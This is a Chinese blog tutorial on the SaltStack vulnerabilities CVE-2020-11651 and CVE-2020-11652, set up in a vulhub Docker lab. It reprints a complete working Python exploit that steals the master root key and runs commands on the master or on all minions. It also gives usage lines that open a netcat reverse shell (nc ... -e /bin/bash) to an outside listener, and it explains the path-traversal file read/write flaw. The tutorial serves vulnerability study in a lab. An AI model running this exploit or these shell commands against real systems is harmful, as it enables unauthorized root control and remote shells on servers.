最近爆出python saltstack框架CVE-2020-11651 漏洞以及CVE-2020-11652。vulhub漏洞靶场也很快更新了该漏洞的docker环境。网上多数的资料对于漏洞验证和一些细节介绍的并不完全,本文希望能够详细介绍下漏洞原理以及漏洞的POC执行。
CVE-2020-11651:
原理:
CVE-2020-11651的原理是:攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。该原理性的描述可以分为如下几个步骤:
vulhub上推荐的POC地址这里,相应的python脚本内容如下:
import os
import sys
import salt
import salt.version
import salt.transport.client
import salt.exceptions
import datetime
def ping_master():
print("Attempting to ping master at "+master_ip)
try:
msg = {"cmd":"ping"}
response = clear_channel.send(msg, timeout=3)
if response:
return True
except salt.exceptions.SaltReqTimeoutError:
return False
return False
def get_rootkey():
try:
response = clear_channel.send({'cmd':'_prep_auth_info'}, timeout=2)
for i in response:
if isinstance(i,dict) and len(i) == 1:
rootkey = list(i.values())[0]
print("Retrieved root key: " + rootkey)
return rootkey
return False
except:
return False
def send_command_to_minions(command):
print("Sending command to all minions on master")
jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
cmd = "/bin/sh -c '{0}'".format(command)
msg = {'cmd':"_send_pub","fun":"cmd.run","arg":[cmd],"tgt":"*","ret":"","tgt_type":"glob","user":"root","jid":jid}
try:
response = clear_channel.send(msg,timeout=3)
if response == None:
return True
else:
return False
except:
return False
def master_shell(root_key,command):
# This is achieved by using the stolen key to create a "runner" on the master node using the cmdmod module, then the cmd.exec_code function to run some python3 code that shells out.
# There is a cmd.shell function but I wasn't able to get it to accept the "cmd" kwarg parameter for some reason.
# It's also possible to use CVE-2020-11652 to get shell if the master instance is running as root by writing a crontab into a cron directory, or proably some other ways.
# This way is nicer though, and doesn't need the master to be running as root .
msg = {"key":root_key,
"cmd":"runner",
'fun': 'salt.cmd',
"kwarg":{
"fun":"cmd.exec_code",
"lang":"python3",
"code":"import subprocess;subprocess.call('{}',shell=True)".format(command)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = clear_channel.send(msg,timeout=3)
print("Got response for attempting master shell: "+str(response)+ ". Looks promising!")
return True
except:
print("something failed")
return False
if __name__=="__main__":
if len(sys.argv) <= 2:
print("Not enough args")
print("Use like python3 cve-2020-11651.py " )
sys.exit(1)
target = sys.argv[1]
master_minion_root = sys.argv[2]
master_ip = target
master_port = '4506'
minion_config = {
'transport': 'zeromq',
'pki_dir': '/tmp',
'id': 'root',
'log_level': 'debug',
'master_ip': master_ip,
'master_port': master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
}
clear_channel = salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
if not ping_master():
print("Failed to ping the specified master server, exiting")
sys.exit(1)
if master_minion_root == "master" or master_minion_root == "minions":
command = sys.argv[3]
rootkey = get_rootkey()
if not rootkey:
print("Failed to fetch the root key from the instance. This MAY indicate that it is patched")
sys.exit(1)
else:
if master_minion_root == "master":
master_shell(rootkey,command)
else:
send_command_to_minions(command)
elif master_minion_root == "fetchkeyonly":
get_rootkey()
else:
print("Invalid usage")
对上述脚本做如下的说明:
总结上述的漏洞,由于ClearFuncs:_prep_auth_info方法没有做校验,导致key的泄漏,从而导致master节点的权限被本地控制端获取,在Master以及minions上执行反弹shell,从而获取机器的控制权。
执行:
1,假设你已经对于vulhub执行的环境依赖都配置好了,如果没有,参照这里。
2,进入该漏洞目录saltstack/CVE-2020-11651执行如下命令:
docker-compose up -d
可得到如下图的docker环境,即安装了该框架的漏洞环境:
其中4505,4506即本地控制端与salt框架的通信端口。2222是docker对外暴露的,用于宿主机ssh登录到docker内部的端口。8000是salt API接口。
3,运行官方给出运行该POC的命令为:
./cve-2020-11651.py 192.168.200.135 master 'nc 192.168.200.137 4444 -e "/bin/bash"'
由于是一个python脚本,在下载该脚本之后,执行命令应该如下:
python3 CVE-2020-11651.py 192.168.200.135 master 'nc 192.168.200.137 4444 -e "/bin/bash"'
该命令解释如下:
./cve-2020-11651.py 192.168.200.135 minions 'nc 192.168.200.137 4444 -e "/bin/bash"'
./cve-2020-11651.py 192.168.200.135 fetchkeyonly
则需要相应的替换成为:
python3 CVE-2020-11651.py 192.168.200.135 minions 'nc 192.168.200.137 4444 -e "/bin/bash"'
python3 CVE-2020-11651.py 192.168.200.135 fetchkeyonly
CVE-2020-11652:
原理:
CVE-2020-11652 是一个目录遍历漏洞,通过构造恶意请求,可以读取、写入服务器上任意文件。详细解释见这里,如下:
The wheel module contains commands used to read and write files under specific directory paths. The inputs to these functions are concatenated with the target directory and the resulting path is not canonicalized, leading to an escape of the intended path restriction.
The get_token() method of the salt.tokens.localfs class (which is exposed to unauthenticated requests by the ClearFuncs class) fails to sanitize the token input parameter which is then used as a filename, allowing insertion of ".." path elements and thus reading of files outside of the intended directory. The only restriction is that the file has to be deserializable by salt.payload.Serial.loads().
该漏洞不同于CVE-2020-11651的地方之处是,CVE-2020-11651是提权漏洞,是远程执行的漏洞,获取权限之后可以操控saltstack。而CVE-2020-11651漏洞是本机执行漏洞,表达在获取master的执行权之后,能够做哪些操作,该漏洞目的是在master机器上的任意目录读写文件。
通常来说本地的控制者来说很难直接让远程的操作系统给你开放所有文件目录的读写权力,但是操作系统往往没有限制其运行的进程操作文件的读写。严格的来说saltstack框架对于文件的读写都是应该约定在一些目录范围内才是正确的,但是由于程序员写的代码约束不够,导致了执行saltstack命令可以读写任意文件。远程的控制者就可以通过跟slatstack进行交互,从而控制整个操作系统的文件读写。
vulhub上推荐的POC地址这里,这个POC做了同样的事情。主要步骤如下:
执行:
不同于上一个漏洞的是,该漏洞需要进入docker内部的环境执行,执行本地的操作,如下图:
docker环境中已经有git,python的环境,直接git clone 对应的POC 用例,本地执行即可。有的时候ping会存在问题,多次执行即可
本文为CSDN村中少年原创文章,未经允许不得转载,博主链接这里。
相关链接:
https://labs.f-secure.com/advisories/saltstack-authorization-bypass
https://github.com/vulhub/vulhub/tree/master/saltstack
https://github.com/saltstack/salt/blob/a67d76b15615983d467ed81371b38b4a17e4f3b7/salt/wheel/file_roots.py
https://www.jianshu.com/p/9456473a0a14